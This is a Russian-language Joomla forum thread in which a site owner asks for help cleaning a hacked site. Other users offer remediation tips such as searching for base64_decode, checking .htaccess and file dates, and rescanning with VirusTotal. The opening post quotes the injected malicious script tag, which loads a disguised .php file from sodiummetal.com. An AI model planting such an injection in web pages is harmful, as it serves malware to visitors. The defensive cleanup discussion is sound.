Прошу помощи в поиске вредоносного кода на моем сайте shancity.ru - Безопасность сайтов на Joomla

Ситуация такая, Google заблокировал мой сайт shancity.ru по причине содержания ссылки на вредоносное ПО а именно :
<script type="text/javascript" src="http://sodiummetal.com/w p-content/plugins/wp_modx/jquery-1.6.5.min.php">

ниже привел  ссылки на страницы на которые Google указал:
URL-адреса
Тип
Последняя проверка


Я новичок еще, не судите строго, облазил все что можно -  начиная от index.php шаблона  и сss соответственно, до ковыряния в базе данных phpMyAdmin

FireBug не помог с поиском этого кода на страницах, сайт находится на хостинге hostlife.net

Подскажите где еще можно покопаться ? и вообще где возможно он лежит, сайт отдавали на правку программисту - вот после него вот такая проблема и он исчез вообще.

[Рекомендация модератора: для вставки в свои сообщения длинных отрывков кода используйте расположенные над смайликами кнопки Спойлер и/или Код. Этим Вы облегчите работу тех, кто отзовется на Вашу тему и, следовательно, получите больше шансов на хороший ответ.]

в .htaccess

в .htaccess

Просмотрел все что к этому относиться .. нет такой строчки((

Я так понимаю, что это где то генерируется исходя из количества страниц, но вот почему то Google находит эти строчки, но я нет

поищите в коде base64_decode, если с ним идет длинющая борода,
декодируйте эту абракадабру на base64.ru,
если это плохие ссыли то удаляйте )

Я так понимаю, что это где то генерируется исходя из количества страниц, но вот почему то Google находит эти строчки, но я нет

виджеты есть на сайте?

а что нет приписок в файлах *.js

А в чем проблема то? Откройте этот файл и посмотрите чего в него дописали, на худой конец замените его на новый.

А какой файл открыт именно? у меня тоже такая проблема не могу решит,

Сайт скачать на свой комп.NotePad++ поиск по файлам.

Судя по virustotal.com вредоносный код все еще на вашем сайте. Что же не предпринимаете активных действий по устранению проблемы, времени то с 13 числа прошло много!

Всех приветствую. Такая же история с сайтом, тоже Joomla и тоже на hostlife.net. Chrome начал ругаться пару дней назад. Пришлось выгружать весь сайт на комп и чищу сейчас вручную. Около 200 файлов нужно чистить.

Всех приветствую. Такая же история с сайтом, тоже Joomla и тоже на hostlife.net. Chrome начал ругаться пару дней назад. Пришлось выгружать весь сайт на комп и чищу сейчас вручную. Около 200 файлов нужно чистить.

Не пробовали написать в поддержку хостинга? Старайтесь ставить сложные пароли на ftp, не менее 8 символов состоящих из букв верхнего и нижнего регистра, цифр, а также специальных символов.

После того, как удалите все вредоносное содержимое не забудьте проверить сайт на virustotal.com, чтобы убедится что все в порядке.

Не пробовали написать в поддержку хостинга? Старайтесь ставить сложные пароли на ftp, не менее 8 символов состоящих из букв верхнего и нижнего регистра, цифр, а также специальных символов.

После того, как удалите все вредоносное содержимое не забудьте проверить сайт на virustotal.com, чтобы убедится что все в порядке.

Большое спасибо! Кстати, по поводу паролей, в техподдержке сказали, чтобы, наоборот, не ставил спец. символов, только латинские буквы и цифры (усложнил пароль и не смог зайти по ftp на сервер)....
Вот на virustotal.com проверил, не подскажете, что это означает Показатель выявления:    1 / 38 ? Спасибо еще раз!

Вот на virustotal.com проверил, не подскажете, что это означает Показатель выявления:    1 / 38 ? Спасибо еще раз!

Если вы "уверены" что удалили весь вредоносный код, а virustotal выявил его у вас на сайте, значит вы не удалили весь вредоносный код!

Если вы "уверены" что удалили весь вредоносный код, а virustotal выявил его у вас на сайте, значит вы не удалили весь вредоносный код!

Да уже ни в чем не уверен=)))....Странное дело, Chrome уже пускает на сайт, а virustotal по ссылке еще видит вирус. А когда проверил запакованный сайт файлом - вирусов нету...

volnorezz, бывают ложные срабатывания

Taatshi Спасибо! А вот еще слышал можно как-то искать вирус по последним изменениям в бд на хостинге, может кто-то знает универсальный способ?=)

В БД не слышала, а вот по дате изменения файла, которую видно в файловом менеджере - да, можно. Если нашли вирус к примеру в каком-то файле, смотрим на дату модификации - и по ней уже ориентируемся. очень облегчает поиск.

Нужно только учитывать, что не все вирусные файлы могут быть модифицированы или записаны в одно и то же время. Возможны варианты.

http://php.net/manual/ru/function.touch.php Даже некоторые боты делают.

Всем кто в этой теме пожаловался на вирусы и левые ссылки на своих сайтах: были ли на ваших сайтах установлены/имеются ли там сейчас скачанные с варезных веб сайтов шаблоны и/или расширения?